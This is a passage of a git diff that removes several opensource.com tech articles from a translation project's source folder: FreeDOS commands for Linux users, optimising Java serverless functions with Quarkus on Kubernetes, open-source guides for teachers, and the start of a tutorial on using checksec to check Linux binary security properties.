https://opensource.com/sites/default/files/images/open-org/open_leadership_word_cloud.png (Open Leadership Definition word cloud) -[22]: https://docs.google.com/document/d/1blmf94ED_p4BHGv0luU_XrU26aF7tCzV6WTmh_v-PDY/edit?usp=sharing -[23]: https://docs.google.com/document/d/14ssBBL0h2vxU0WZoMnWs6eo_8oRfJhnAr5yr-fAiLGU/edit?usp=sharing -[24]: https://docs.google.com/document/d/1lRutADes5E0mcwtc6GR_Qw06PuJLc9-wUK5W1Gcf_BA/edit?usp=sharing -[25]: https://docs.google.com/document/d/1RcwWTpkT42bgkf6EPiECt8LyAJ1XZjNGhzk0cQuBB7c/edit?usp=sharing -[26]: https://docs.google.com/document/d/1hTvnpqQkOc76-0UJbV6tAvRxOE--bdt96mqGmAKGqiI/edit?usp=sharing -[27]: https://docs.google.com/document/d/1Zl1smi-4jDZNNWd0oNY8qRH-GDi9q5VfvgyZ7YLkvm4/edit?usp=sharing -[28]: https://drive.google.com/drive/folders/1e1N_0p5lJEwAo_s6hQ3OK0KaJIfc7fgF?usp=sharing -[29]: http://theopenorganization.org/ -[30]: https://github.com/open-organization -[31]: https://twitter.com/openorgproject -[32]: https://www.linkedin.com/company/the-open-organization/ -[33]: https://opensource.com/sites/default/files/images/open-org/openorgproject_6_anniversary_stats.png diff --git a/sources/tech/20210603 FreeDOS commands for Linux fans.md b/sources/tech/20210603 FreeDOS commands for Linux fans.md deleted file mode 100644 index 522ca199eb..0000000000 --- a/sources/tech/20210603 FreeDOS commands for Linux fans.md +++ /dev/null @@ -1,189 +0,0 @@ -[#]: subject: (FreeDOS commands for Linux fans) -[#]: via: (https://opensource.com/article/21/6/freedos-linux-users) -[#]: author: (Jim Hall https://opensource.com/users/jim-hall) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -FreeDOS commands for Linux fans -====== -If you're already familiar with the Linux command line, try these -commands to help ease into FreeDOS. -![FreeDOS fish logo and command prompt on computer][1] - -If you've tried FreeDOS, you might have been stymied by the command line. The DOS commands are slightly different from how you might use the Linux command line, so getting around on the command line requires learning a few new commands. - -But it doesn't have to be an "all new" experience for Linux users. We've always included some standard Unix commands in FreeDOS, in addition to the DOS commands that are already similar to Linux. So if you're already familiar with the Linux command line, try these commands to help ease into FreeDOS: - -### Getting Around - -Use the `cd` command to _change directory_ in the FreeDOS filesystem. The usage is basically the same on FreeDOS as it is on Linux. To change into a subdirectory called `apps`, type `cd apps`. To go back to the previous directory, type `cd ..`. - -The only difference when navigating through directories and paths is that on FreeDOS, the directory separator is `\` ("backslash") instead of `/` ("forward slash") that you use on Linux. For example, let's say you were in the `\devel` directory and you wanted to move to the `\fdos` directory. Both of those are at the same "level" relative to the _root_ directory. So you could type `cd ..\fdos` to "back up" one directory level (with `..`) and then "go into" the `fdos` directory. - -To change to a new directory, you could instead give the full path with the leading backslash. This is handy if you are already deep into another path, and just want to switch immediately to the new location. For example, to change to the `\temp` directory, you can type `cd \temp`. -  - - -``` -C:\>cd apps -C:\APPS>cd .. -C:\>cd devel -C:\DEVEL>cd ..\fdos -C:\FDOS>cd \temp -C:\TEMP>_ -``` - -In FreeDOS, like most DOS systems, you can see your current path as part of the DOS prompt. On Linux, your prompt is probably something like `$`. On FreeDOS, the prompt lists the current drive, the current path within that drive, then `>` as the prompt (taking the place of `$` on Linux). - -### Listing and Displaying Files - -On Linux, the standard command to list files in the current directory is the `ls` command. On FreeDOS, it's a different command: `dir`. But you can get a similar behavior as `ls` by creating an _alias_. - -To create an alias to another command, use the built-in `alias` command. For example, use this command to define an alias for `ls` that will display a directory listing in a similar way to using `ls` on Linux: -  - - -``` -C:\>alias ls=dir /one /w /b /l -C:\>ls -[apps]    command.com   [devel]  fdauto.bat   fdconfig.sys -[fdos]    kernel.sys    [src]    [temp] -C:\> -``` - -The command option format is slightly different on FreeDOS than on Linux. On Linux, you start options with a hyphen character (`-`). But on FreeDOS, options start with a forward slash. The `alias` command above uses the slash character—those are options to `dir`. The `/one` option tells `dir` to order (o) in a certain way: sort any files and directories by name (n) and then by extension (e). Using `/w` says to use a "wide" directory listing, `/b` uses a "bare" display without the other information `dir` usually provides, and `/l` instructs `dir` to display files and directories in lowercase. - -Note that the command-line options for the FreeDOS `dir` command are quite different from the options to Linux `ls`, so you can't use this `ls` alias exactly like you would on Linux. For example, typing `ls -l` with this alias on FreeDOS will result in a "File not found" error, because the underlying FreeDOS `dir` command will be unable to find a file called `-l`. But for basic "see what files I have on my system," this `ls` alias is good enough to help Linux users get started with FreeDOS. - -Similarly, you can create an alias for the FreeDOS `type` command, to act like the Linux `cat` command. Both programs display the contents of a text file. While `type` doesn't support the command-line options you might use under Linux, the basic usage to display a single file will be the same. - - -``` -C:\FDOS>alias cat=type -C:\FDOS>cat version.fdi -PLATFORM=FreeDOS -VERSION=1.3-RC4 -RELEASE=2021-04-30 -C:\FDOS> -``` - -### Other Unix-like Commands - -FreeDOS includes a selection of other common Unix-like commands, so Linux users will feel more at home. To use these Linux commands on FreeDOS, you may need to install the **Unix Like Tools** package from the **FreeDOS Installer - My Package List Editor Software** (FDIMPLES) package manager. - -![Installing the Unix-like package set][2] - -Jim Hall, CC-BY SA 4.0 - -Not all of the Unix-like utilities work _exactly_ like their Linux counterparts. That's why we call them _Unix-like_. You might want to check the compatibility if you're using some esoteric command-line options, but typical usage should be fine. Start with these common Unix-like commands on FreeDOS: - -The `cal` command is the standard Unix calendar program. For example, to display the calendar for the current month, just type `cal`. To view a specific month, give the month and year as arguments: - - -``` -C:\>cal 6 1994 - -      June 1994     -Su Mo Tu We Th Fr Sa -          1  2  3  4 - 5  6  7  8  9 10 11 -12 13 14 15 16 17 18 -19 20 21 22 23 24 25 -26 27 28 29 30       -``` - -View your disk usage with the `du` command. This is a simple version of the Linux _disk usage_ command and doesn't support any command-line options other than a path. - - -``` -C:\>du -s apps -usage: du (start path) -C:\>du apps -    158784 C:\APPS\FED -         0 C:\APPS -Total from C:\APPS is 158784 -C:\> -``` - -The `head` command displays the first few lines of a file. For example, this is a handy way to determine if a file contains the correct data. - - -``` -C:\>head fdauto.bat -@ECHO OFF -set DOSDIR=C"\FDOS -set LANG=EN -set TZ=UTC -set PATH=%dosdir%\BIN -if exist %dosdir%\LINKS\NUL set PATH=%path%;%dosdir%\LINKS -set NLSPATH=%dosdir%\NLS -set HELPPATH=%dosdir%\HELP -set TEMP=%dosdir%\TEMP -set TMP=%TEMP% -C:\> -``` - -To view an entire file, use the `more` command, the default file viewer on FreeDOS. This displays a file one screenful at a time, then prints a prompt to press a key before displaying the next screenful of information. The `more` command is a very simple file viewer; for a more full-featured viewer like you might use on Linux, try the `less` command. The `less` command provides the ability to scroll "backwards" through a file, in case you missed something. You can also search for specific text. - - -``` -C:\>less fdauto.bat -@ECHO OFF -set DOSDIR=C"\FDOS -set LANG=EN -set TZ=UTC -set PATH=%dosdir%\BIN -if exist %dosdir%\LINKS\NUL set PATH=%path%;%dosdir%\LINKS -set NLSPATH=%dosdir%\NLS -set HELPPATH=%dosdir%\HELP -set TEMP=%dosdir%\TEMP -set TMP=%TEMP% -[...] -``` - -If you have a lot of directories in your program path variable (`PATH`) and aren't sure where a certain program is running from, you can use the `which` command. This scans the program path variable, and prints the full location of the program you are looking for. - - -``` -C:\>which less -less    C:\>FDOS\BIN\LESS.EXE -C:\>_ -``` - -FreeDOS 1.3 RC4 includes other Unix-like commands that you might use in other, more specific situations. These include:  - - * **bc**: Arbitrary precision numeric processing language - * **sed**: Stream editor - * **grep** and **xgrep**: Search a text file using regular expression - * **md5sum**: Generate an MD5 signature of a file - * **nro**: Simple typesetting using nroff macros - * **sleep**: Pause the system for a few seconds - * **tee**: Save a copy of a command-line stream - * **touch**: Modify a file's timestamp - * **trch**: Translate single characters (like Linux tr) - * **uptime**: Report how long your FreeDOS system has been running - - - -### FreeDOS at your command - -FreeDOS, like Linux and BSD, is open source. Whether you want to challenge yourself by learning a new style of command-line interaction, or you want to fall back on the comfort of familiar Unix-like tools, FreeDOS is a fun and fresh operating system to explore. Give it a try! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/freedos-linux-users - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/freedos-fish-laptop-color.png?itok=vfv_Lpph (FreeDOS fish logo and command prompt on computer) -[2]: https://opensource.com/sites/default/files/uploads/unix-like.png (Installing the Unix-like package set) diff --git a/sources/tech/20210604 Optimize Java serverless functions in Kubernetes.md b/sources/tech/20210604 Optimize Java serverless functions in Kubernetes.md deleted file mode 100644 index ab98883f7b..0000000000 --- a/sources/tech/20210604 Optimize Java serverless functions in Kubernetes.md +++ /dev/null @@ -1,267 +0,0 @@ -[#]: subject: (Optimize Java serverless functions in Kubernetes) -[#]: via: (https://opensource.com/article/21/6/java-serverless-functions-kubernetes) -[#]: author: (Daniel Oh https://opensource.com/users/daniel-oh) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Optimize Java serverless functions in Kubernetes -====== -Achieve faster startup and a smaller memory footprint to run serverless -functions on Kubernetes. -![Ship captain sailing the Kubernetes seas][1] - -A faster startup and smaller memory footprint always matter in [Kubernetes][2] due to the expense of running thousands of application pods and the cost savings of doing it with fewer worker nodes and other resources. Memory is more important than throughput on containerized microservices on Kubernetes because: - - * It's more expensive due to permanence (unlike CPU cycles) - * Microservices multiply the overhead cost - * One monolith application becomes _N_ microservices (e.g., 20 microservices ≈ 20GB) - - - -This significantly impacts serverless function development and the Java deployment model. This is because many enterprise developers chose alternatives such as Go, Python, and Nodejs to overcome the performance bottleneck—until now, thanks to [Quarkus][3], a new Kubernetes-native Java stack. This article explains how to optimize Java performance to run serverless functions on Kubernetes using Quarkus. - -### Container-first design - -Traditional frameworks in the Java ecosystem come at a cost in terms of the memory and startup time required to initialize those frameworks, including configuration processing, classpath scanning, class loading, annotation processing, and building a metamodel of the world, which the framework requires to operate. This is multiplied over and over for different frameworks. - -Quarkus helps fix these Java performance issues by "shifting left" almost all of the overhead to the build phase. By doing code and framework analysis, bytecode transformation, and dynamic metamodel generation only once, at build time, you end up with a highly optimized runtime executable that starts up super fast and doesn't require all the memory of a traditional startup because the work is done once, in the build phase. - -![Quarkus Build phase][4] - -(Daniel Oh, [CC BY-SA 4.0][5]) - -More importantly, Quarkus allows you to build a native executable file that provides [performance advantages][6], including amazingly fast boot time and incredibly small resident set size (RSS) memory, for instant scale-up and high-density memory utilization compared to the traditional cloud-native Java stack. - -![Quarkus RSS and Boot Time Metrics][7] - -(Daniel Oh, [CC BY-SA 4.0][5]) - -Here is a quick example of how you can build the native executable with a [Java serverless][8] function project using Quarkus. - -### 1\. Create the Quarkus serverless Maven project - -This command generates a Quarkus project (e.g., `quarkus-serverless-native`) to create a simple function: - - -``` -$ mvn io.quarkus:quarkus-maven-plugin:1.13.4.Final:create \ -       -DprojectGroupId=org.acme \ -       -DprojectArtifactId=quarkus-serverless-native \ -       -DclassName="org.acme.getting.started.GreetingResource" -``` - -### 2\. Build a native executable - -You need a GraalVM to build a native executable for the Java application. You can choose any GraalVM distribution, such as [Oracle GraalVM Community Edition (CE)][9] and [Mandrel][10] (the downstream distribution of Oracle GraalVM CE). Mandrel is designed to support building Quarkus-native executables on OpenJDK 11. - -Open `pom.xml`, and you will find this `native` profile. You'll use it to build a native executable: - - -``` -<profiles> -    <profile> -        <id>native</id> -        <properties> -            <quarkus.package.type>native</quarkus.package.type> -        </properties> -    </profile> -</profiles> -``` - -> **Note:** You can install the GraalVM or Mandrel distribution locally. You can also download the Mandrel container image to build it (as I did), so you need to run a container engine (e.g., Docker) locally. - -Assuming you have started your container runtime already, run one of the following Maven commands. - -For [Docker][11]: - - -``` -$ ./mvnw package -Pnative \ --Dquarkus.native.container-build=true \ --Dquarkus.native.container-runtime=docker -``` - -For [Podman][12]: - - -``` -$ ./mvnw package -Pnative \ --Dquarkus.native.container-build=true \ --Dquarkus.native.container-runtime=podman -``` - -The output should end with `BUILD SUCCESS`. - -![Native Build Logs][13] - -(Daniel Oh, [CC BY-SA 4.0][5]) - -Run the native executable directly without Java Virtual Machine (JVM): - - -``` -`$ target/quarkus-serverless-native-1.0.0-SNAPSHOT-runner` -``` - -The output will look like: - - -``` -__  ____  __  _____   ___  __ ____  ______ - --/ __ \/ / / / _ | / _ \/ //_/ / / / __/ - -/ /_/ / /_/ / __ |/ , _/ ,< / /_/ /\ \   -\--\\___\\_\\____/_/ |_/_/|_/_/|_|\\____/___/   -INFO  [io.quarkus] (main) quarkus-serverless-native 1.0.0-SNAPSHOT native -(powered by Quarkus xx.xx.xx.) Started in 0.019s. Listening on: -INFO [io.quarkus] (main) Profile prod activated. -INFO [io.quarkus] (main) Installed features: [cdi, kubernetes, resteasy] -``` - -Supersonic! That's _19_ _milliseconds_ to startup. The time might be different in your environment. - -It also has extremely low memory usage, as the Linux `ps` utility reports. While the app is running, run this command in another terminal: - - -``` -`$ ps -o pid,rss,command -p $(pgrep -f runner)` -``` - -You should see something like: - - -``` -  PID    RSS COMMAND -10246  11360 target/quarkus-serverless-native-1.0.0-SNAPSHOT-runner -``` - -This process is using around _11MB_ of memory (RSS). Pretty compact! - -> **Note:** The RSS and memory usage of any app, including Quarkus, will vary depending on your specific environment and will rise as application experiences load. - -You can also access the function with a REST API. Then the output should be `Hello RESTEasy`: - - -``` -$ curl localhost:8080/hello -Hello RESTEasy -``` - -### 3\. Deploy the functions to Knative service - -If you haven't already, [create a namespace][14] (e.g., `quarkus-serverless-native`) on [OKD][15] (OpenShift Kubernetes Distribution) to deploy this native executable as a serverless function. Then add a `quarkus-openshift` extension for Knative service deployment: - - -``` -`$ ./mvnw -q quarkus:add-extension -Dextensions="openshift"` -``` - -Append the following variables in `src/main/resources/application.properties` to configure Knative and Kubernetes resources: - - -``` -quarkus.container-image.group=quarkus-serverless-native -quarkus.container-image.registry=image-registry.openshift-image-registry.svc:5000 -quarkus.native.container-build=true -quarkus.kubernetes-client.trust-certs=true -quarkus.kubernetes.deployment-target=knative -quarkus.kubernetes.deploy=true -quarkus.openshift.build-strategy=docker -``` - -Build the native executable, then deploy it to the OKD cluster directly: - - -``` -`$ ./mvnw clean package -Pnative` -``` - -> **Note:** Make sure to log in to the right project (e.g., `quarkus-serverless-native`) using the `oc login` command ahead of time. - -The output should end with `BUILD SUCCESS`. It will take a few minutes to complete a native binary build and deploy a new Knative service. After successfully creating the service, you should see a Knative service (KSVC) and revision (REV) using either the `kubectl` or `oc` command tool: - - -``` -$ kubectl get ksvc -NAME                        URL   [...] -quarkus-serverless-native    True - -$ kubectl get rev -NAME                              CONFIG NAME                 K8S SERVICE NAME                  GENERATION   READY   REASON -quarkus-serverless-native-00001   quarkus-serverless-native   quarkus-serverless-native-00001   1            True -``` - -### 4\. Access the native executable function - -Retrieve the serverless function's endpoint by running this `kubectl` command: - - -``` -`$ kubectl get rt/quarkus-serverless-native` -``` - -The output should look like: - - -``` -NAME                         URL                                                                                                          READY   REASON -quarkus-serverless-native     True -``` - -Access the route `URL` with a `curl` command: - - -``` -`$ curl http://quarkus-serverless-restapi-quarkus-serverless-native.SUBDOMAIN/hello` -``` - -In less than one second, you will get the same result as you got locally: - - -``` -`Hello RESTEasy` -``` - -When you access the Quarkus running pod's logs in the OKD cluster, you will see the native executable is running as the Knative service. - -![Native Quarkus Log][16] - -(Daniel Oh, [CC BY-SA 4.0][5]) - -### What's next? - -You can optimize Java serverless functions with GraalVM distributions to deploy them as serverless functions on Knative with Kubernetes. Quarkus enables this performance optimization using simple configurations in normal microservices. - -The next article in this series will guide you on making portable functions across multiple serverless platforms with no code changes. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/java-serverless-functions-kubernetes - -作者:[Daniel Oh][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/daniel-oh -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/ship_captain_devops_kubernetes_steer.png?itok=LAHfIpek (Ship captain sailing the Kubernetes seas) -[2]: https://opensource.com/article/19/6/reasons-kubernetes -[3]: https://quarkus.io/ -[4]: https://opensource.com/sites/default/files/uploads/quarkus-build.png (Quarkus Build phase) -[5]: https://creativecommons.org/licenses/by-sa/4.0/ -[6]: https://quarkus.io/blog/runtime-performance/ -[7]: https://opensource.com/sites/default/files/uploads/quarkus-boot-metrics.png (Quarkus RSS and Boot Time Metrics) -[8]: https://opensource.com/article/21/5/what-serverless-java -[9]: https://www.graalvm.org/community/ -[10]: https://github.com/graalvm/mandrel -[11]: https://www.docker.com/ -[12]: https://podman.io/ -[13]: https://opensource.com/sites/default/files/uploads/native-build-logs.png (Native Build Logs) -[14]: https://docs.okd.io/latest/applications/projects/configuring-project-creation.html -[15]: https://docs.okd.io/latest/welcome/index.html -[16]: https://opensource.com/sites/default/files/uploads/native-quarkus-log.png (Native Quarkus Log) diff --git a/sources/tech/20210606 5 handy guides to open source for teachers.md b/sources/tech/20210606 5 handy guides to open source for teachers.md deleted file mode 100644 index 2fe49a3e9f..0000000000 --- a/sources/tech/20210606 5 handy guides to open source for teachers.md +++ /dev/null @@ -1,76 +0,0 @@ -[#]: subject: (5 handy guides to open source for teachers) -[#]: via: (https://opensource.com/article/21/6/open-source-guides-teachers) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -5 handy guides to open source for teachers -====== -To help you get the most out of your summer, but also satiate the real -need to plan for the coming school year, we've collected some of our -favorite concise guides to help you plan. -![Looking at a map][1] - -For some teachers, summer is here and thus a long (hopefully, relaxing) break. All the teachers I know are proud lifelong learners, though, and at the end of the summer break there's a new school year awaiting. To help you get the most out of your summer, but also satiate the real need to plan for the coming school year, we've collected some of our favorite _concise_ guides to help you plan. - -### How to make your school pandemic-ready - -By going [all-in on Linux][2], teacher Robert Maynord ensured his school was ready for remote learning—even before it needed to be. We still don't know what the rest of the year has in store, but if there's anything that the pandemic has shown the world, it's that [digital transformation][3] (the integration of digital technology into all areas of education) is not only possible, but beneficial to both teachers and students. You may not have the authority to change the way your classroom operates on a technological level, but there are lots of small changes you can make to create a more agile learning experience for your pupils. - -### The ultimate guide to open source for teachers - -With this article, you can learn how to [incorporate open source principles][4] in your classroom. Open source is about more than just technology. It's about sharing knowledge, collaborating, working together toward a common goal. You can transform your classroom into a shared space where students learn from each other just as much as they do from you. Read it, put it into practice, and encourage it. - -### 8 WordPress plugins for virtual classrooms - -The WordPress web platform is a powerful tool for building websites. In the classroom, [it can serve as a great tool][5] to teach both web technology and creative or academic writing. It can also be used to enable remote learning, or to integrate everyday schoolwork with the digital realm. Gain the most benefit from WordPress for educational purposes by mastering its many [add-on features][6]. - -### Teach kids Python (interactive gaming) - -Open source tools can help anyone get started learning Python in an easy and fun way—making games. Of course, Python is a big topic, but we have a curriculum to take you from installing Python, taking your first steps with code with simple text and "turtle" drawing games, all the way to intermediate game development. - - 1. Start out by installing Python and getting used to how code works in our [Python 101 article.][7] This article alone can probably serve as the basis for two or three distinct classroom lessons. - 2. If you're familiar with [Jupyter][8], then learn to [program a simple game with Python and Jupyter][9]. - 3. You can also learn [game development with this free Python ebook][10], which teaches you how to use Git, Python, and PyGame. Once you've learned the basics, check out [this collection of cool creations from the book's "playtesters"][11]. - - - -If Python is too advanced for you or your students, take a look at [Twine][12], a simple HTML-based interactive storytelling tool. - -### Teach kids the Raspberry Pi (programming) - -This article in our guide to [getting started with the Raspberry Pi][13] explores resources for helping kids learn to program. The Raspberry Pi has the unique quality of costing only $35 USD, while also being a full-powered Linux computer that can be used for anything from basic Python lessons to actual webservers, so it's full of potential for education. It's a reasonable goal to have a Pi per child in your classroom, or you can have a single Pi for the classroom to explore together (Linux is a multi-user OS, so with the right setup all of your students can use one Pi at the same time until you sell their parents or your principle on the value of purchasing more). - -### Learn together - -Part of an open classroom is being brave enough to learn alongside your students. As a teacher, you might be used to having all the answers, but the digital world is ever-changing and evolving. Don't be afraid to learn Python, Linux, the Raspberry Pi, and anything else _with_ your students. Work together to learn new fundamentals, new tricks, and new ways of solving problems. Open source is a proven and successful methodology, so don't just teach it—make it happen in your classroom. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/open-source-guides-teachers - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/tips_map_guide_ebook_help_troubleshooting_lightbulb_520.png?itok=L0BQHgjr (Looking at a map) -[2]: https://opensource.com/article/21/5/linux-school-servers -[3]: https://enterprisersproject.com/what-is-digital-transformation -[4]: https://opensource.com/article/20/7/open-source-teachers -[5]: https://opensource.com/article/20/3/wordpress-education -[6]: https://opensource.com/article/20/5/wordpress-plugins-education -[7]: https://opensource.com/article/17/10/python-101 -[8]: https://opensource.com/article/18/3/getting-started-jupyter-notebooks -[9]: https://opensource.com/article/20/5/python-games -[10]: https://opensource.com/article/20/10/learn-python-ebook -[11]: https://github.com/MakerBox-NZ?q=pygame&type=&language=&sort= -[12]: https://opensource.com/article/18/2/twine-gaming -[13]: https://opensource.com/article/19/3/teach-kids-program-raspberry-pi diff --git a/sources/tech/20210607 Identify security properties on Linux using checksec.md b/sources/tech/20210607 Identify security properties on Linux using checksec.md deleted file mode 100644 index 3d1e118830..0000000000 --- a/sources/tech/20210607 Identify security properties on Linux using checksec.md +++ /dev/null @@ -1,438 +0,0 @@ -[#]: subject: (Identify security properties on Linux using checksec) -[#]: via: (https://opensource.com/article/21/6/linux-checksec) -[#]: author: (Gaurav Kamathe https://opensource.com/users/gkamathe) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Identify security properties on Linux using checksec -====== -Learn how to use checksec to identify an executable's security -properties, understand what they mean, and know how to use them. -![Target practice][1] - -Compiling source code produces a binary. During compilation, you can provide flags to the compiler to enable or disable certain properties on the binary. Some of these properties are relevant to security. - -Checksec is a nifty little tool (and shell script) that, among other functions, identifies the security properties that were built into a binary when it was compiled. A compiler might enable some of these properties by default, and you might have to provide specific flags to enable others. - -This article explains how to use checksec to identify the security properties on a binary, including: - - 1. The underlying commands checksec uses to find information on the security properties - 2. How to enable security properties using the GNU Compiler Collection (GCC) when compiling a sample binary - - - -## Install checksec - -To install checksec on Fedora and other RPM-based systems, use: - - -``` -`$ sudo dnf install checksec` -``` - -For Debian-based distros, use the equivalent `apt` command. - -## The shell script - -Checksec is a single-file shell script, albeit a rather large one. An advantage is that you can read through the script quickly and understand all the system commands running to find information about binaries or executables: - - -``` -$ file /usr/bin/checksec -/usr/bin/checksec: Bourne-Again shell script, ASCII text executable, with very long lines - -$ wc -l /usr/bin/checksec -2111 /usr/bin/checksec -``` - -Take checksec for a drive with a binary you probably run daily: the ubiquitous `ls` command. The command's format is `checksec --file=` followed by the absolute path of the `ls` binary: - - -``` -$ checksec --file=/usr/bin/ls -RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE -Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols        Yes   5       17              /usr/bin/ls -``` - -When you run this in a terminal, you see color-coding that shows what is good and what probably isn't. I say "probably" because even if something is in red, it doesn't necessarily mean things are horrible—it might just mean the distro vendors made some tradeoffs when compiling the binaries. - -The first line provides various security properties that are usually available for binaries, like `RELRO`, `STACK CANARY`, `NX`, and so on (I explain in detail below). The second line shows the status of these properties for the given binary (`ls`, in this case). For example, `NX enabled` means some property is enabled for this binary. - -## A sample binary - -For this tutorial, I'll use the following "hello world" program as the sample binary. - - -``` -#include <stdio.h> - -int main() -{ -        [printf][2]("Hello World\n"); -        return 0; -} -  -``` - -Note that I did not provide `gcc` with any additional flags during compilation: - - -``` -$ gcc hello.c -o hello -  -$ file hello -hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=014b8966ba43e3ae47fab5acae051e208ec9074c, for GNU/Linux 3.2.0, not stripped - -$ ./hello -Hello World -``` - -Run the binary through checksec. Some of the properties are different than with the `ls` command above (on your screen, these may be displayed in red): - - -``` -$ checksec --file=./hello -RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE -Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   85) Symbols       No    0       0./hello -$ -``` - -## Changing the output format - -Checksec allows various output formats, which you can specify with `--output`. I'll choose the JSON format and pipe the output to the `jq` utility for pretty printing. - -To follow along, [ensure you have `jq` installed][3] because this tutorial uses this output format to quickly grep for specific properties from the output and report `yes` or `no` on each: - - -``` -$ checksec --file=./hello --output=json | jq -{ -  "./hello": { -    "relro": "partial", -    "canary": "no", -    "nx": "yes", -    "pie": "no", -    "rpath": "no", -    "runpath": "no", -    "symbols": "yes", -    "fortify_source": "no", -    "fortified": "0", -    "fortify-able": "0" -  } -} -``` - -## Walking through the security properties - -The binary above includes several security properties. I'll compare that binary against the `ls` binary above to examine what is enabled and explain how checksec found this information. - -### 1\. Symbols - -I'll start with the easy one first. During compilation, certain symbols are included in the binary, mostly for debugging. These symbols are required when you are developing software and require multiple cycles for debugging and fixing things. - -These symbols are usually stripped (removed) from the final binary before it's released for general use. This does not affect the binary's execution in any way; it will run just as it would with the symbols. Stripping is often done to save space, as the binary is somewhat lighter once the symbols have been stripped. In closed-source or proprietary software, symbols often are removed because having these symbols in a binary makes it somewhat easy to infer the software's inner workings. - -According to checksec, symbols are present in this binary, yet they were not in the `ls` binary. You can also find this information by running the `file` command on the program—you see `not stripped` in the output towards the end: - - -``` -$ checksec --file=/bin/ls --output=json | jq | grep symbols -    "symbols": "no", - -$ checksec --file=./hello --output=json | jq | grep symbols -    "symbols": "yes", - -$ file hello -hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=014b8966ba43e3ae47fab5acae051e208ec9074c, for GNU/Linux 3.2.0, not stripped -``` - -How did checksec find this information? Well, it provides a handy `--debug` option to show which functions ran. Therefore, running the following command should show you which functions ran within the shell script: - - -``` -`$ checksec --debug --file=./hello` -``` - -In this tutorial, I'm looking for the underlying commands used to find this information. Since it's a shell script, you can always utilize Bash features. This command will output every command that ran from within the shell script: - - -``` -`$ bash -x /usr/bin/checksec --file=./hello` -``` - -If you scroll through the output, you should see an `echo_message` followed by the security property's category. Here is what checksec reports about whether the binary contains symbols: - - -``` -\+ readelf -W --symbols ./hello -\+ grep -q '\\.symtab' -\+ echo_message '\033[31m96) Symbols\t\033[m  ' Symbols, ' symbols="yes"' '"symbols":"yes",' -``` - -To simplify this, checksec utilizes the `readelf` utility to read the binary and provides a special `--symbols` flag that lists all symbols within the binary. Then it greps for a special value, `.symtab`, that provides a count of entries (symbols) it finds. You can try out the following commands on the test binary you compiled above: - - -``` -$ readelf -W --symbols ./hello -$ readelf -W --symbols ./hello | grep -i symtab -``` - -## How to strip symbols - -You can strip symbols after compilation or during compilation. - - * **Post compilation:** After compilation, you can use the `strip` utility on the binary to remove the symbols. Confirm it worked using the `file` command, which now shows the output as `stripped`: [code] $ gcc hello.c -o hello -$ -$ file hello -hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=322037496cf6a2029dcdcf68649a4ebc63780138, for GNU/Linux 3.2.0, not stripped -$ -$ strip hello -$ -$ file hello -hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=322037496cf6a2029dcdcf68649a4ebc63780138, for GNU/Linux 3.2.0, stripped -$ -``` -## How to strip symbols during compilation - -Instead of stripping symbols manually after compilation, you can ask the compiler to do it for you by providing the `-s` argument: -``` - - -$ gcc -s hello.c -o hello -$ -$ file hello -hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=247de82a8ad84e7d8f20751ce79ea9e0cf4bd263, for GNU/Linux 3.2.0, stripped -$ - -``` -After rerunning checksec, you can see that `symbols` are shown as `no`: -``` - - -$ checksec --file=./hello --output=json | jq | grep symbols -    "symbols": "no", -$ - -``` -### 2\. Canary - -Canaries are known values that are placed between a buffer and control data on the _stack_ to monitor buffer overflows. When an application executes, two kinds of memory are assigned to it.  One of them is a _stack_, which is simply a data structure with two operations: `push`, which puts data onto the stack, and `pop`, which removes data from the stack in reverse order. Malicious input could overflow or corrupt the stack with specially crafted input and cause the program to crash: -``` - - -$ checksec --file=/bin/ls --output=json | jq | grep canary -    "canary": 